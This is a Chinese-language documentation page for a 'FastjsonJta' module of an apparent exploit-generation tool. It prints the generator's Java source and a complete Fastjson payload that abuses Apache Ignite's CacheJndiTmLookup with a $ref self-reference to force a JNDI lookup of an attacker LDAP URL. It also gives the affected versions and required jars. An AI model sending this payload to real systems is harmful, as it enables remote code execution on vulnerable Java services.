Skip to content

Latest commit

 

History

History
56 lines (45 loc) · 3.35 KB

File metadata and controls

56 lines (45 loc) · 3.35 KB

Jta 1.2.67(FastjsonJta)

  • 类别:fastjson 别名:— 优先级:— (源码标注 @Deprecated
  • 作者:—
  • 依赖ignite-jta-2.16.0.jarignite-core-2.16.0.jarjta-1.1.jar(需开启 autoType)、fastjson <= 1.2.67

作用

生成一段 Fastjson JSON payload,利用 Apache Ignite 的 org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup——其 jndiNames 中的名称会在 getTm() 时被 InitialContext.lookup(),从而发起 JNDI 注入。这是 fastjson 1.2.68 附近针对 Ignite JTA 组件的 JNDI 打法。

链接标签

  • 入口 tagsFastjsonPayloadEND —— 产物是交给 Fastjson 入口的 JSON 文本;END 表示自身即最终 JNDI sink。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

@Deprecated
public class FastjsonJta implements Gadget {
    @Param
    public String jndiUrl = "ldap://localhost:1389/Exploit";
    public static String template = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"%s\"], \"tm\": {\"$ref\":\"$.tm\"}}";

    public Object getObject() {
        return String.format(template, this.jndiUrl);
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.getObject();
    }
}
  • 自包含 payload 生成器invoke 直接调用无参 getObject(),不消费内层(无 chain.doCreate)。%sjndiUrl 填入。
  • CacheJndiTmLookup 触发链:payload 把 @type 设为 org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup,并给 jndiNames 数组注入攻击者 URL。fastjson 反序列化时通过 setter 设置 jndiNames
  • "tm":{"$ref":"$.tm"} 自引用触发 getter$ref 是 fastjson 的引用语法,$.tm 指向本对象自身的 tm 属性。fastjson 在解析引用时会调用 getTm()(getter)。CacheJndiTmLookup.getTm() 内部会用 new InitialContext().lookup(name) 遍历 jndiNames 做 JNDI 查找,从而对 jndiUrl 发起 lookup,加载远程恶意对象/Factory 完成利用。这是「用 $ref 自引用强制触发 getter」的典型 fastjson 手法。
  • 依赖 Ignite JTA 组件与 jta-1.1.jar,且目标须开启 autoType 才能反序列化到 CacheJndiTmLookup

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl jndiUrl JNDI 查找地址(LDAP/RMI),写入 jndiNames ldap://localhost:1389/Exploit 任意 JNDI URL

适用版本与原理要点

  • 适用 fastjson <= 1.2.67,且需开启 autoType。
  • 目标 classpath 需存在 Apache Ignite JTA 相关 jar(ignite-jta-2.16.0ignite-core-2.16.0)与 jta-1.1.jar
  • 本类已被源码标注 @Deprecated——适用面窄(依赖组件苛刻),实战中多被更通用的 JNDI 打法(如 FastjsonJdbcRowSetImpl)取代。
  • 成功与否受目标 JDK JNDI 远程加载防护影响。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联